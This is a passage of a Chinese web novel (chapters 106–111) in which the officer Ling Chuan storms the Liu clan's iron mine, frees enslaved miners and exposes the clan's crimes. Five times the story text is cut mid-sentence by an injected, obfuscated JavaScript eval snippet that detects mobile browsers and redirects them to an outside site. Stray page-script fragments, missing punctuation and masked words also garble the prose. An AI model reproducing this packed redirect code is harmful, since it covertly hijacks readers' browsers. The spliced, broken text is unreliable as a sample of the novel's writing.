凌川心里很清楚,这些民夫是不想自己因为他们与刘家结怨,毕竟,他们作为土生土长的云岚县人,深知刘家的势力有多恐怖。 “你们尽管指认,剩下的交给我就行了!”凌川继续说道。 有凌川撑腰,这些民夫也不再惧怕,纷纷开始指认,很快,刘家队伍中,便有十多人被‘点名’。 那些人脸上写满了畏惧之色,毕竟前车之鉴的尸体还在淌血,他们虽不是主谋,但以那位爷的狠辣手段,说不定会将他们一个个砍了脑袋。 见苍蝇带着一众亲兵上前抓人,那些人被吓得双腿打颤,其中一人更是被吓得转身就跑。 “咻……” 一支铁箭飞出,直接射中那名男子的小腿,他惨叫一声扑倒在地。 刘武见状,也鼓起勇气问道:“凌川,你真要与我刘家为敌吗?” 凌川看着他,嘴角勾起一抹笑意,说道:“你误会了……” 听闻此言,刘武顿时一愣,看来,他还是畏惧刘家的,不由得露出自信的笑容。 可听到凌川下半句的时候,刘武脸上的笑容瞬间凝固。 “在我眼里,刘家不过是一群欺软怕硬的土鸡瓦狗,连做我敌人的资格都没有!” 听闻此言,刘武眼神中涌现出愤怒之色,若是在以往,有人敢这么跟他说话,早就人头落地了。 身为刘家老家主的第三个儿子,刘武没有大哥在经商方面的天赋和人脉,也没有二哥的手腕和心机,但却有着异于常人的勇猛。 常有人夸赞,他刘武若是投身军伍,早就穿上将军甲了。 这话虽有讨好的成分,但也并非无的放矢。 或许是这样的话听得多了,刘武自己也坚信,自己若是从军,早就成为万军统率,但他对此却是嗤之以鼻,在他看来,如今的大周帝国根本不值得他效力。 与其在战场上拼命赚取军功,还不如将家族发展壮大,成就百年基业。 毕竟如今的大周帝国已经是苟延残喘,乱世即将来临,想要让家族在乱世中得以生存,强大的实力是最基本的保障。 然而,一向以勇猛自居的刘武,在面对逐步逼来的亲兵,内心第一次感受到了畏惧。 对于他来说,就算凌川将这十多人全部砍了,也动摇不了刘家的根基,这个世道,最不值钱的就是人命,只要有银子,就有人自告奋勇给你卖命。 但,若是真让凌川当着自己的面将这些人全部杀了,刘家威严何在? 别人岂不是都觉得,刘家怕了他凌川?还有谁愿意给刘家卖命? 他再次鼓起勇气挡在苍蝇等人面前,喝道:“站住!” “凌川,你要放人我放了,你也杀了人出气了,别得寸进尺!”刘武瞪着凌川,喝道。 凌川只是神色平静地看着他,没有说话。 可苍蝇又岂能容忍刘武挑衅? “你算个什么东西,竟敢与校尉大人这么说话!”苍蝇抬手便是一刀朝着刘武劈去。 刘武顿时一惊,连忙用手中环首刀抵挡。 “当……” 一道金铁交鸣声响起,两人各退一步,而苍蝇却丝毫不惧,再次挥刀扑了上去。 客观来说,苍蝇的实力是不及刘武的,只不过,刘武心有忌惮一直在被动防守,可即便如此,苍蝇也难以将他拿下。 就在此时,另外两名亲兵副队长也拔刀冲了上去,二人皆是从死字营中挑选出来的好手,个人实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948022|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力相当不错。 孟钊出自南系军,属唐岿然手下,同为苏大将军的亲兵,此次进入亲兵队,也是唐岿然亲自举荐。 沈玦此前并非军伍出身,而是一名江湖游侠,因以武犯禁被发配死字营。 上次狼烽口外一战,沈玦战绩惊人,也是因为如此,他才被选进了亲兵队。 随着二人的加入,刘武顿时压力大增,只能全力以赴,可即便如此,依旧是双拳难敌四手,不到十个回合,便被沈玦一刀划开肩膀。 紧接着,孟钊一脚踹在他的小腹,刘武踉跄摔倒,正欲起身,苍蝇的战刀已经抵在他的脖子跟前。 “拿人!” 苍蝇一挥手,十多名亲兵一拥而上,将之前被指认的那些刘家人全部抓了出来,连同刘武一起,被带到凌川跟前。 “校尉大人,这些人如何处置?”苍蝇上前问道。 凌川冷眼从这些人身上扫过,十多人顿时双腿打颤,冷汗直冒。 “每人断一臂,以示惩戒!” 听闻此言,不少人当场瑟瑟发抖,连忙跪地求饶。 可一众亲兵没有丝毫手软,纷纷手起刀落,霎时间,场中鲜血飞洒,惨叫连连。 而就在此时,营中涌出大批人影,足有二百余人,领头之人凌川认识,正是当日在军营与自己作对的刘成。 而他身后跟着这些人,正是当日随他一起被开除军籍的士兵。 二百余人,个个身披甲胄,手中拿的皆是边军制式武器,就算是凌川都为之动容。 抛开战力不论,仅仅是这二百余人的兵甲配置,就足以跟边军媲美,按照大周军律,私藏甲胄三件便会按谋反罪论处,更何况是足足几百人,妥妥的灭族大罪。 由此可见,如今的大周,依旧腐烂到了何种程度。 门楼之上,也涌现出大批弓箭手,纷纷弯弓搭箭将凌川等人瞄准。 见那十多名刘家成员个个捂着断腕惨叫,刘成眼神中闪过一抹杀意,喝到:“凌川,你好大的胆子,竟敢屠戮百姓,今日定要拿你到刺史府问罪!” 第107章 全军听令,诛杀反贼! “凌川,你若识相就立马束手就擒,否则,定要让你血溅五步!刘成手持战刀,遥指凌川。 看着气焰嚣张的刘成,凌川冷笑道:“你还真是健忘啊,短短半个月就忘了自己上次屁滚尿流的惨状了! “凌川,你欺人太甚!被当众揭短,刘成眼眸中杀意更甚,咬牙喝道:“所有人听令,杀一人赏银百两,摘下凌川首级者,赏银五百两! 听闻此言,凌川有些无语,没想到自己的项上人头,只值区区五百两。 随着刘成一声令下,身后两百人纷纷把刀,现场的气氛瞬间变得紧张起来,门楼之上的弓箭手也早已是蓄势待发。 苍蝇神色凝重,大喝道:“亲兵听令,保护校尉大人! “一边去!凌川瞪了他一眼,依旧站在最前方,看着刘成,笑问道:“怎么?这是想留下我? “哈哈哈哈……刘成放肆大笑。 “你若老老实实龟缩在军营里,我还真不能拿你怎么样,可你偏偏要送上门来,那就怪不得我以多欺少了! 听到以多欺少四个字,凌川简直想笑。 只见他缓缓抬起手中战刀遥指刘成,冷声喝道:“所有人听令,诛杀反贼,全军冲杀! 亲兵队所有人战刀出鞘,眼神之中杀意弥漫。 “凌川,就凭你区区几十人,也敢动手?刘成不屑冷笑道。 忽然,地面微微颤动,沉闷的马蹄声宛如战鼓在擂响。 众人抬头一看,只见远处一支骑兵飞奔而来,身后扬起大片尘土。 这支骑兵足有三百余人,领头之人手持一杆马槊,杀气腾腾,身后众人手持刀枪,宛如一面黑色铁墙碾压过来。 刘成脸上的笑容瞬间凝固,而就在此时,凌川的声音传来:“你不是说要以多欺少吗?那就看看谁的人更多! “诛杀反贼,全军冲杀!领头之**喝一声,宛如惊雷炸响。 “杀…… 来人正是薛焕之率领的乙标。 事实上,对于凌川来说,就算只用五十亲兵队,也足以收拾这群乌合之众,但自身定然也会付出不小的代价,这不是凌川想看到的,所以,临行前才让刘晏去通知一标人马赶来。 三百骑全速冲杀,眨眼即至。 经过这段时间的训练,他们基本已经能保证锋线整齐。 反观刘成等人,早已吓得浑身颤抖。 尽管他们都是军伍出身,但从未上过战场,就连平时的操练都稀疏平常,哪见过 这种阵仗。 已经被吓得六神无主的刘成这时才反应过来对着门楼上大吼道:‘快放箭给我射死凌川!’ “咻咻咻……” 一道道破空声响起只不过并非是从门楼上传来而是凌川的亲兵队率先出手纷纷举起弓箭进行仰射。 聂星寒更是三箭齐发当场将三名弓箭手射杀。 伴随着一声声惨叫传来门楼上十多名弓箭手全部殒命。 “杀……” 凌川一声冷喝也率领亲兵营开始冲杀。 这是一场没有任何悬念的战斗准确说都不能称之为战斗完全就是一边倒的碾压。 事实上薛焕之的乙标还未冲杀到跟前对方这两百余人的阵型便已经开始乱了。 接下来便是一边倒的**亲兵营和乙标开始肆意收割全程没有遭到半点有效对抗。 片刻间二百多人便有半数被斩杀当场几十人被马蹄活生生踩死他们并非是死于战斗而是逃得不够快因为凌川已经现已不是带着亲兵队杀到门口 剩下那几十人见逃生无望纷纷丢掉兵器跪地投降。 “饶命求大人饶命……” “校尉大人饶命啊我们也是云岚军都是受了刘成的蛊惑……” 一个个磕头如捣蒜不断开口求饶。 “云岚军中没有你们这样的败类!”凌川冰冷的目光从这些人身上扫过他自然认得这些人都是当日跟随刘成一起离开军营的云岚军。 “杀!” 随着杀字出口这些人最后一丝活命的希望也被抹灭。 不消片刻两百多人尽数被斩杀现场鲜血淋漓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948023|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死尸遍地。 “薛焕之!” “属下在!”薛焕之抱拳回答道。 “你亲自带五十人守住门口其他人随我进去搜但凡是刘家人全部抓起来!” 不到半个时辰矿区便被搜了个底朝天三十多名刘家人被尽数拿下。 凌川的速度太快以至于刘家想要毁掉账目都来不及。 然而让凌川惊愕的是这座矿区远比外面看起来要大得多难怪刘家派出这么多人来看守。 紧接着凌川便开始查看账目结果他震惊地发现账本之中记载上交给朝廷的铁矿不过是总量的两成其余八成皆是被刘家自行变卖。 “把刘武带进来!”凌川对门口的苍蝇吩咐道。 “是!” 很快,被五花大绑的刘武便被带了进来,此时的他脸上青一块紫一块,就连门牙都被打掉了几颗,显然刚才没少被‘招待’。 “我问,你答!想活命就说实话!”凌川盯着刘武,沉声说道:“记住,你只有一次机会!” “是……” 此时的刘武,再无之前的傲气,眼神中只有恐惧。 “除了上交朝廷的铁矿之外,剩下的在何处?”凌川问道。 “在……在仓库,足有一百万石!”刘武颤颤巍巍地回答道。 “那之前的呢?”凌川接着问道。 刘武眼神闪躲,含糊不清地说道:“我,我不知道……” “杀!”凌川对苍蝇招了招手,说道。 苍蝇立马走了上来,唰的一声拔出腰间战刀。 “大人饶命,我说,我说……”刘武连忙求饶,说道:“之前的都被运走了!” “运往何处?” “运往,运往关外!”刘武小声回答。 凌川心中暗道果真如此。 “可是卖给了胡羯人?”凌川强压着心中的杀意,继续追问。 “这个小人就不知道了,我们只负责将矿石运到关外,放到指定地点便返回,至于对方是谁,我们连面都没见过!”刘武解释道。 第108章 罪恶滔天! 经过一番审问刘武把自己知道的差不多都交代了。 随后凌川让苍蝇将刘武带了下去又将刘成带了过来审问了一遍。 刘成交代的信息与刘武所说大差不差看来刘武确实没有撒谎。 “这里有多少矿工?”凌川对刘成问道。 “有六百余人!”刘成回答道。 “有多少是从云岚军中的士兵?” 听闻此言刘成神色顿时一变惊声问道:“你你怎么知道?” 凌川冷笑道:“云岚军近几年一直在招兵可兵力始终在七八百人从未参战可兵册之上却有四百余人被标注阵亡这么明显的漏洞你觉得我看不出来吗?” “如果我所料不错的话你从军营带来那二百余人最终也会沦为矿工对吧?” 刘成无力地点了点头。 他们利用章俊招兵然后再秘密押送到矿区给他们下苦力非但没有工钱连饭都吃不饱一旦生病就得看命熬过去就能活熬不过去就只有死路一条。 反正对于刘家而言这些人都是免费劳动力**就埋在矿井里回头让章俊发招兵榜文又有新人送来。 原本这件事情做得天衣无缝有章俊和孙县令帮忙打掩护没有人怀疑毕竟进了矿区的人就没有活着出去的。 不曾想凌川竟然从兵册上的蛛丝马迹推测出了大致原貌。 当然矿工之中也不仅仅是章俊以招兵的名义送来的人还有云岚县中被他们剥夺了田地活不下去的老百姓。 这些人动不动就到县衙喊冤虽然孙县令也是他们的人但终究是有损刘家名声索性一不做二不休将他们丢到矿营多少还能创造一些价值。 听到这里凌川内心的杀意已经无法控制。 他不想以最大的恶去揣摩别人但刘家人的所作所为彻底刷新了他对恶人的定义。 不仅是当朝历朝历代都严禁将盐铁物资贩卖给外邦一经发现轻则杀头重则灭族。 可刘家却将大量铁矿卖给世代为敌的胡羯人此乃资敌之罪就算将刘家满门抄斩也毫不为过。 此外他们强取豪夺、滥杀无辜短短几年时间刘家便将云岚县近半数的良田收入囊中不仅抢占百姓家业更是连人也一并抓走丢进这矿营之中 相比之下逼良为娼这种事情已经是司空见惯。 再加上有县令孙文泰和校尉章俊撑腰刘家更是肆无忌惮 ,老百姓可谓是喊冤都没地方。 凌川恨不得将刘家人千刀万剐,可他还是强忍住了,让苍蝇将二人带下去,严加看管。 凌川坐在椅子上,内心的杀意许久无法平息。 他很清楚,刘家只不过是这天下无数豪强恶霸之一,相比起那些扎根数百年的世家门阀,刘家连个屁都不算,可正是这样一个屁都不算的刘家,便让偌大的云岚县民不聊生。 帝国已病入膏肓,若要妙手回春,不但需下猛药,还得自剜腐肉。 许久之后,凌川才逐渐平复了自己的情绪,把苍蝇叫了进来。 “通知所有矿工,放下手中的事情,集合!”凌川吩咐道。 “是!” 一炷香之后,凌川出现在矿营中间的空地。 被开采出来的铁矿石堆积如山,空气中弥漫着一股刺鼻的铁锈味,数百名矿工站在空地上,一个个瘦骨嶙峋、眼神暗淡,破破烂烂的衣服已经被泥土裹得看不清原本的颜色。 不少人身上带着伤,有的伤口在淌血,还有的已经开始流脓。 这不由让凌川想起之前自己在漠北大营,看到死字营军奴的场景,甚至,这些矿工相比起死字营军奴还要凄惨,还要让人心疼。 “立马让人做饭,多做些肉!”凌川对苍蝇交代道。 “已经在做了,但,整个营地只有几斤猪肉!”苍蝇说道。 很显然,这几斤肉是刘家的嫡系高层吃剩下的。 “派人去军营取,顺便把军医带过来!” “是!” 苍蝇让孟钊亲自带人去办。 凌川再次将目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948024|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光看向这数百名矿工,开口说道:“大家不用紧张,我已经让人在做饭了,一会做好了让人给你们送过来!” 所有人神情木讷么,唯独在听到做饭二字的时候,眼神中闪过一丝神采。 “可能大家都不认识我,我先做个自我介绍,鄙人凌川,半个月前接管云岚县军务,任云岚县校尉!” 此言一出,不少人的眼神中闪过一丝异样神色。 云岚校尉不是章俊吗,怎么换人了? 不过,这与他们毫无关系,别说是换了个校尉,就算是改朝换代,只要刘家还在,他们的命运就不会有任何影响。 甚至于,就算刘家倒台了,还会有第二个刘家,可他们依然要在这里过着生不如死的日子。 “我知道,你们之中一部分是云岚县的百姓,另外都是被前任校尉利用招兵的名义拐骗至此。” 凌川继续说道:“一会吃完饭,你们就回家去吧!” 此言一出,现场顿时骚乱起来,所有人都用难以置信的眼神看着凌川,他们甚至怀疑,自己是不是听错了。 对于他们来说,回家是连做梦都不敢奢望的事情。 因为,从踏入这里的那一刻起,他们就算到死,都无法离开矿营,很多人都亲眼看到,那些饿死或是病死的矿工,被丢在一个大坑之中掩埋,几年下来,那个大坑至少埋了上百人。 “大人,你,你说的是真的?我们可以回家了?”一名站在前排的汉子颤声问道。 “大人,你不是跟刘家一伙的?咱们能信你吗?”一名身形枯槁的老者用嘶哑的声音问道。 凌川看着众人,点头说道:“大家放心,我跟他们不是一伙的,前任校尉章俊已经**,这矿营里面的刘家人,大部分都被斩杀,剩下的也都被我拿下!” 听到这句话,现场彻底炸开了锅,难怪现场全是生面孔,以往那些凶神恶煞的刘家人一个都没见到。 再联想到之前的喊杀声与惨叫声,种种迹象都让他们逐渐相信凌川的话。 第109章 回家去吧! “我在此向大家许诺,你们这份公道,我来替你们讨回!给我三天时间,我会让刘家从云岚县消失!凌川郑重许诺。 “校尉大人,刘家在云岚县手眼通天,就连前任章校尉和孙县令都跟他们走得很近,大人要小心啊!那名枯瘦老汉提醒道。 凌川笑着说道:“老人家你放心,我连胡羯人都杀过,何况是刘家这个地方恶霸! 很快,亲兵副队沈珏便带人将饭菜送了过来。 浓郁的饭菜香味席卷全场,让这些矿工直咽口水。 “饭做好了,大家先吃饭吧! 听到这话,一众矿工快步围了上去,生怕跑慢了吃不到。 这也怪不得他们,只因从进入这里以来,吃的都是残羹剩饭,说是猪食都毫不为过。 可眼前却是香喷喷的白米饭,仅仅是香味让他们为之疯狂,很多人盛了饭都顾不得用筷子,直接用手抓起来往嘴里送。 “大家不用急,今天饭菜管够,保证每人都能吃饱! “天呐,还有肉!一名瘦得皮包骨头的年轻男子看到锅里的肉,眼睛都直了。 肉自然是没办法保证吃饱的,但每人都能吃到四五块。 很多人吃到肉的那一刻,眼泪便止不住地滚落下来,从进入这里之后,他们连半点油星子都没见过,早就忘了肉是什么味道了。 更有甚者,嘴里喊着一块肉嚼了又嚼,久久舍不得咽下。 待所有人吃饱之后,凌川又让军医给他们处理伤口。 “大家先回家去跟家人团聚吧! 听到回家,很多人眼神之中再次燃起了希望。 就在这时,一名光着上身的年轻男子上前说道:“校尉大人,要不我们留下来帮你吧,刘家势力庞大,可不是那么好对付的! 紧接着,不少年轻男子纷纷站了出来,说道:“大人,我们只有贱命一条,但多一个人就多一份力量! “不瞒大人,我们是看了招兵榜文来投军的,本想卫国戍边,没曾想连军营都没见到,却被押到这里当苦力! 本是满腔热血的大好男儿,一心为国效力,却沦落到这里成为奴隶,让凌川内心杀意更甚。 但他还是摇了摇头,说道:“大家放心,区区刘家我能应付,你们先回去跟家人报个平安,如果信得过我,三日之后再回这里,我将你们这些年的工钱发给你们! 凌川苦口婆心说了半天,众人才陆续离去,可依旧还有一百多 人满脸失落地站在原地,没有离开的意思。 询问之下才得知,他们大多都是云岚县的百姓,刘家抢占了他们的家产,烧毁了他们的房屋,杀害了他们的家人。 “大人,你让我们回家,可我们已经无家可归了啊!”一名面黄肌瘦的中年男子嚎啕大哭,眼神之中满是悲伤与痛苦。 一句无家可归,顿时戳中了现场所有人的泪点,满心悲伤化作泪水涌出。 凌川只能让他们在这营地住下,等自己解决了刘家之后,再来妥善安排他们。 走出矿营的时候,薛焕之已经带人将这里打扫干净,只有地上隐约能看到一些血迹。 见凌川出来,薛焕之第一时间迎了上去。 “这几天你就带乙标守在这里,此地对于刘家极为重要,你不可大意!”凌川对薛焕之交代道。 “大人放心,保证万无一失!”薛焕之抱拳回应道。 凌川带着亲兵队离开,不仅将刘武与刘成二人带走,连同那些账目也一并带了回去。 刘家大院。 刘家家主刘桐风风火火跑到老宅,面见老家主刘南庭。 “父亲,出大事了!”刘南庭满脸惊慌之色。 刘南庭虽年逾古稀,可身子骨依旧健朗,虽然近些年逐渐放权,将家族交给长子刘桐打理,但,所有刘家人心里都清楚,只要老爷子还健在一天,刘家永远都是他说了算。 “跟你说了多少次了,遇事要冷静,你这个样子,我如何放心将家族交给你?”刘老爷子眼神之中闪过一抹怒意,呵斥道。 “父亲,凌川带人闯矿营,咱们的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948025|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部**了!”刘桐顾不得父亲的怒喝,直接开口说道。 “哗啦!” 刘老爷子手中玉盏脱手滑落,当场摔得粉碎。 “什么?”刘老爷子霍然起身,问道:“刘成和刘武在干什么?他们手下不是有两百多人吗?为何轻松让凌川得手?” “凌川直接带了三百多兵马,几乎是不费吹灰之力便将咱们的人杀光,老三和刘成被擒,已经被凌川带回大营了!”刘桐此时已是满头大汗,继续说道:“而且,凌川将那些矿工全部都放走了!” “轰……” 刘老爷子只感觉脑袋嗡的一声响,随即眼前一黑,踉跄软倒,还好身后有椅子接住了他。 “父亲!”刘桐顿时一惊,连忙冲上去扶住刘老爷子。 刘老爷子深知矿区有多重要,更明白里面有多少见不得光的秘密,一旦公开,等待刘家的将是满门抄斩,万劫不复。 如果凌川仅仅是杀了人抢了矿区,他还能强作镇定,毕竟他已经想到了对付凌川的办法,无非就是让他嚣张几天。 可当得知凌川竟然将那些矿工放走之后,饶是见惯大风大浪的刘老爷子,也无法保持平静。 因为,这些矿工知道很多秘密,一旦被放走,这些秘密势必会传遍整个云岚县乃至整个云州,刘家就算有手眼通天,也不可能将这些人全部杀完。 几名侍女闻讯赶来,一边帮老爷子顺气,一边给他喂食蜜水,脸色逐渐缓和了些。 “父亲,您怎么样?您别吓我啊!”刘桐被吓得六神无主。 “瞧你那没出息的样子,要真有一天我撒手西去,你怎么守住家业?”刘老爷子虚弱地说道。 “把老二召回来,然后派人传讯给仙仪,让他务必请动刺史大人前来!”刘南庭交代道。 “是,我这就去办!”刘桐就要转身离去,却再次被老爷子叫住。 “记住,多派几路人手去传信,一定要以最快的速度将消息送到云州!”刘老爷子再次叮嘱道。 “我知道了!”刘桐恭敬回答道。 第110章 罄竹难书! 回到军营,凌川让苍蝇去找木匠打一口棺材,三天之后要用。 一开始苍蝇也不明白好端端的打什么棺材,可听到三天之后要用,他立马就明白了过来。 紧接着,凌川又让孟钊将纪天禄叫了过来。 “校尉大人,您找我? “将斥候小队全部撒出去,监视刘家人的一举一动!凌川吩咐道。 “明白! 随后,又让聂星寒亲自去一趟飞龙城传信给叶先生。 随着将一道道命令传达了出去,军营各标也迅速动了起来。 云岚县城看似风平浪静,与往日并无任何变化,可一股无形的压力却在悄然凝聚,只不过,普通老百姓并未感受到异常。 当晚,纪天禄便来报,刘家派出不少人去往云州送信,被他们截获。 凌川接过密信,打开看了一眼,直接丢尽火炉。 “开一道口子,让他们把信送出去! 纪天禄虽有些诧异,但还是遵命照做。 如今,凌川已经在这云岚县布下一张网,但想要网到大鱼,得靠刘家帮忙才行。 就在纪天禄准备离开的时候,凌川叫住了他,问道:“刘家可曾往飞龙城传信? 纪天禄摇了摇头,“目前还没有! 次日一大早,云岚县大街小巷贴满了揭帖,标题是用朱砂书写的四个红色大字——刘家通敌! 下面则是列举了刘家的一条条罪状,如与前任校尉和孙县令勾结,强行掳掠百姓去采矿,还将参军的青壮年押到矿区采矿,对外宣称战死。 还将开采出来的绝大部分铁矿贩卖给胡羯人,帮助其攻打大周。 强占百姓家产良田,违逆者要么被活活打死,要么将人抓走,男子押到矿场当苦力,女子则是卖到青楼等地方。 一大张宣纸上,密密麻麻罗列了十多桩罪状,而这样的揭帖满城皆是。 消息一经传开,云岚县彻底炸了锅。 刘家的嚣张跋扈早已是人尽皆知,但,大多数人对于他们到底做了哪些恶行,并不了解,这主要归结于刘家的强大势力威慑,很多受了欺辱的百姓并不敢声张。 而另一方面则是归结于刘家一向遵行斩草除根,再加上章俊和孙文泰的存在,但凡是到县衙喊冤之人,不问缘由直接关进大牢,最终的结局依然是被押送到矿区。 如今,这漫天揭帖如雪花洒满全城,刘家的罪行被公之于众,得知真相的老百姓无不是咬牙切齿、深恶痛绝,奈何碍于刘家多年 来积累的威慑力,很多人也是敢怒不敢言。 事实上,一开始的时候,很多人对这份‘罪状’存疑,毕竟,这其中好几条罪名都是杀头乃至灭族的大罪,刘家虽然豪强一方,但未必有这么大的胆子。 可很快便有人出来证实,这上面的罪名全都是真的,而且,刘家的罪名罄竹难书,远不止罗列出来的这些。 这些出面证实的人,要么是从矿区逃出来的矿工,要么是被刘家卖到青楼的女子,还有一些是被强占了商铺和良田的百姓。 随着这越来越多的人出面证实,刘家的罪名已经被坐实,而且,更多罪恶行径也进一步被深挖出来。 霎时间,可谓是满城风雨。 刘家在得知消息后,第一时间派人上街去将这些‘罪状’销毁,可当刘家人上街之后当场傻眼了,因为这些罪状铺天盖地,贴得满城都是,根本撕不过来。 而且,前脚刚撕毁,立马又有人悄悄贴上,以至于刘家人忙活了半天,揭帖的数量非但没减少,反而是越撕越多。 半个时辰之后,刘家派出来的一百多人竟然离奇消失了,仿佛从来都没有出现过一般。 消息传回刘家,刘桐神色巨变,放眼整个云岚县,能做到这一点的,有且仅有一个人。 “老二,这可怎么办啊?”刘桐满脸焦急地看向**。 **身着一袭紫色锦服,眼神中不时闪过阴冷之色,“只能让县令大人出手了,我就不信他凌川敢公然与官府作对!” 事情愈演愈烈,刘家上下宛如热锅上的蚂蚁,刘桐却不敢将这件事情告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948026|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉刘老爷子,毕竟老爷子年纪大了,经不起折腾。 “大哥不必如此担心,一个乳臭未干的小子而已,就算他侥幸立了些军功当上校尉又如何?没有根基背景的他,根本不足为惧,等刺史大人一到,所有的问题都将迎刃而解!”**一脸淡然说道。 听到这话,刘桐的脸色缓和了很多。 确实,只要再忍两日,等刺史大人一到,别说他一个小小校尉,就算是他背后的叶世珍来了,也得乖乖俯首。 很快,县衙派出所有衙役上街,他们对满城百姓喊话,谁敢张贴揭帖散布谣言,直接逮捕关进大牢,举报散布谣言者,官府重重有赏。 然而,这一通操作下来并没有得到任何响应,显然,云岚县的百姓对于这位县令大人已经失望透顶,甚至可以说是憎恨。 县衙之中,孙县令与刘家二爷**相对而坐。 前者虽为一县之主,此刻却表现得小心翼翼,反观后者则是满脸淡然之色,悠闲饮茶。 “孙大人,我只有一个要求,天黑之前,让那些揭帖全部消失!”**用冰冷到眼神扫了孙文泰一眼,淡淡说道。 后者内心是有苦难言,傻子都知道这揭帖的背后主导者是谁,你们刘家都拿他没办法,更何况我这个小小县令,难道要让我用这二十多名衙役去跟人家一千多兵马拼命不成? 但,他心里很清楚,这些年收了刘家那么多银子,自己早已跟刘家绑在一起,现在想要独善其身根本不可能。 “二爷,一个时辰前已经将所有衙役派出去了,本官怎么说也是县令,他凌川就算有天大的胆子,也不敢公然与我作对!”孙县令笑着回应道。 “最好如此!”刘二爷淡淡回应道。 就在这时,一名身着捕快服饰的汉子走了进来,正是捕头王栩。 “王捕头,事情办得如何了?”孙县令问道。 王栩躬身抱拳,回应道:“回禀大人,揭帖实在是太多了,兄弟们根本销毁不过来,不过属下已经带人告诫百姓,发现有人张贴揭帖立马上报,官府重重有赏!” 第111章 鸣鼓喊冤! “砰! 刘家二爷将手中茶盏重重磕在桌上,沉声问道:“孙大人,你手下人就是这么办事的? 孙县令身体猛然一颤,连忙起身说道:“二爷见谅,我这就去亲自督查此事! 就在此时,门外传来沉重的鼓声,几人神色顿时一变,孙县令连忙对王捕头说道:“快去看看何人在击鼓? 等王捕头来到县衙大门外,只见门外乌泱泱一大片百姓,将县衙围得水泄不通。 一众衙役也没见过这么大的阵仗,纷纷上前驱赶,奈何,这些往日胆小如鼠的百姓,今日却丝毫不惧,一个个高喊着‘惩处恶霸,主持公道’,一边结队朝着县衙走来。 “咚咚咚…… 一名壮汉手持鼓槌,重重敲响鸣冤鼓,有衙役上前将其拉开,可另外一人立马上前捡起鼓槌继续擂鼓。 “惩处恶霸,主持公道! “惩处恶霸,主持公道! 声音越来越大,也越来越整齐。 一时间,局面即将失控,百姓眼看就要冲进县衙大堂,王栩额头冒汗,内心更是焦急万分,正当他准备去内堂通知县令大人的时候,身后传来一声冷喝。 “干什么? 只见孙县令带着常师爷走了出来,别看他在刘家二爷面前唯唯诺诺,此时面对老百姓,却是满脸威严。 孙县令神色冷峻,双手负后,挺着大肚子缓步走上前来。 冷漠的目光从门外一众百姓身上扫过,呵斥道:“大胆刁民,竟敢私闯县衙,你们想**不成? “县令大人,我等皆是云岚县百姓,前来请县令大人主持公道! “大人,刘家强占了我们的家产和田地,小人实在是活不下去了,请大人给我们一家老小一条活路! “大人啊,刘家那些畜生,打**我男人,还把我那刚成年的女儿抢走,请大人为我们主持公道啊! 一时间,各种喊冤的声音此起彼伏,孙县令脸色一片阴沉。 “一派胡言,你们这些刁民竟敢在此扰乱县衙,本官命你们速速退去,否则棍棒伺候!孙县令呵斥道。 然而,这一次,这些百姓非但没有退去的意思,反而是继续朝前逼近。 “大胆!孙县令眼眸中杀机闪烁,“谁敢上前一步,就地格杀! 随着他一声令下,二十余名衙役纷纷拔出腰刀,冲上前去一字排开,挡住这些百姓。 “孙县令好大的官威啊! 就在此时,一道洪亮 的声音自人群后方传来。 